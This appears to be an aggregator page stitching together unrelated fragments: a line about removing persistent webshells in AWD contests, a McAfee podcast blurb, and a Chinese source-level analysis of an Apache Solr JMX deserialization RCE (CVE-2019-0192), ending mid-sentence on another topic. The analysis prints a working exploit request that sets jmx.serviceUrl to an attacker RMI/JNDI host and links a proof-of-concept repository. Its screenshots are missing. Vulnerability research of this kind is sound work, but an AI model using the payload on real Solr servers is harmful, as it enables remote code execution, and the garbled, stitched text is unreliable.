Aggregator

在 AWD 模式下经常碰到不死马, 不干掉的话就会一直被偷 flag, 很难受. 所以研究一下怎么干掉.

In this episode, we’ll hear from Wayne Anderson, Enterprise Security Architect at McAfee and Dan Flaherty from the cloud security...

The post ST03: Cloud Technology Trends with Wayne Anderson and Dan Flaherty appeared first on McAfee Blog.

挖src碰到了一个solr的环境，然后看到国外有人提交了一个关于solr rce的漏洞。

漏洞链接(https://issues.apache.org/jira/browse/SOLR-13301)

看描述是因为JMX造成的反序列化漏洞。因此分析复现一遍。

URL:http://localhost/solr/[corename]/config"

PostBody:
{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://IP:PORT/obj}}

我本地环境为jdk7u21+solr5.3.0

搭建环境具体过程就不说了，就是ant编译源码然后IDEA挂载跑起来就行。

因为solr有一个类webapp的东西，所以首先查看入口点也就是web.xml

如图所示:

有一个全局的filter，跟进这个filter看一下内容：

Filter函数关键的地方在这里，跟进这个call函数查看一下内容:

这里调用了一个init函数，也就是初始化的操作，跟进这个函数看一下对路由的处理:

相应的代码点功能我都写了注释。这段代码主要是判断路由的情况。而下面这段代码很关键的地方在于设置了action为PROCESS。然后return

至此，初始化的操作完毕，我们也知道了是如何解析URL的，并且将action设为了PROCESS，然后回到call函数，继续看，发现对action有个switch操作，如图所示:

这里我们进入case PROCESS这个分支，核心操作在execute(solrRsp)，跟入查看:

这里又继续调用了一个execute函数，跟进查看:

这里调用了关键函数，handleRequest，跟进这个函数查看:

关键点在handleRequestBody函数，有很多类重写了这个函数，我们跟到SolrConfigHandler这个类中去:

当请求方法为POST的时候，调用command.handlePOST()，跟进该函数:

函数第一行的功能是解析POSTbody，将JSON解析为List，因此ops和opsCopy存放的是我们传入的数据。而 overlay是从原来的配置文件中取出的数据，也就是corename/conf/configoverlay.json。如果没有的话，这里是空。

然后将这两个变量带入到了handleCommands函数中继续处理，跟进：

这里根据传入的name来判断进入哪个分支，常量对应表为

我们需要进入SET_PROPERTY分支，该分支调用了一个applySetProp函数，跟进:

这里将name和val单独取出来。带入到该函数末尾的

跟进该函数:

其实就是一个组装键值的过程，然后最后将组装好的jsonObj带入到ConfigOverlay构造函数中:

注意这个props和data此时已经包含了发送的payload。

然后依次返回到handleCommands函数中case分支完成。然后到handleCommands最后的的代码:

首先看到persistConfLocally这个函数，传递了三个参数进去，第一个是resourceloader，第二个是一个字符串常量，值为:

第三个比较重要，是overlay.toByteArray，而这个overlay是上文中return回来的ConfigOverlay对象，那么看一下这个类的toByteArray函数实现:

就是一个值转Json的操作，这里是data，而这个data上文说过，包含了我们的payload。

参数都搞清楚了，那么然后回到persistConfLocally函数，看一下操作:

这个函数功能很简单，就是将包含payload的json数据写入到我们的configoverlay.json文件中。

OK，调用完persistConfLocally之后，又调用了一个reload函数，看一下:

注意红框处的函数，是真正的漏洞触发点。调用了一个getConfig函数，跟进:

这里调用createSolrConfig创建SolrConfig对象，跟进:

继续跟进:

这里new了一个SolrConfig对象，name是一个字符串，值为solrconfig.xml

SolrConfig类的构造函数很长，关键点在

这里设置了jmxconfig的值，首先调用了getNode函数查看solrConfig.xml中是否有jmx节点，如果有(这里是有的)就调用get函数将configoverlay.json中对应的数据取出来，这里有一个get("jmx/@serviceUrl")的操作，其实就是将上文写入configoverlay.json中的远程serviceUrl取出来。另外这jmxconfig是一个JmxConfiguration对象，看一下构造函数:

我们的serviceUrl是第三个参数，被设置为了成员变量serviceUrl的值。

然后继续层层返回，返回到reload函数中:

reload函数中也调用了一个reload函数，这函数中存在真正的触发点，跟入查看:

这里new了一个SolrCore对象，注意第三个参数，coreConfig.getSolrConfig()这个函数其实是返回的上文new的SolrConfig对象，然后跟进SolrCore类的构造函数，该构造函数中有这样一段代码:

跟入initInfoRegistry函数:

这里进入到if分支，该分支里new了一个JmxMonitoredMap对象，注意传入的第三个参数，是config.jmxConfig。也就是SolrConfig的jmxConfig成员，这个成员上文有强调。jmxConfig成员是一个JmxConfiguration对象，它的成员serviceUrl是可控的，包含的是我们的payload。

然后进入JmxMonitoredMap对象的构造函数:

这一段调用JMX，传入可控的serviceUrl，导致反序列化RCE。

https://github.com/mpgn/CVE-2019-0192

这道题在比赛的时候专注在im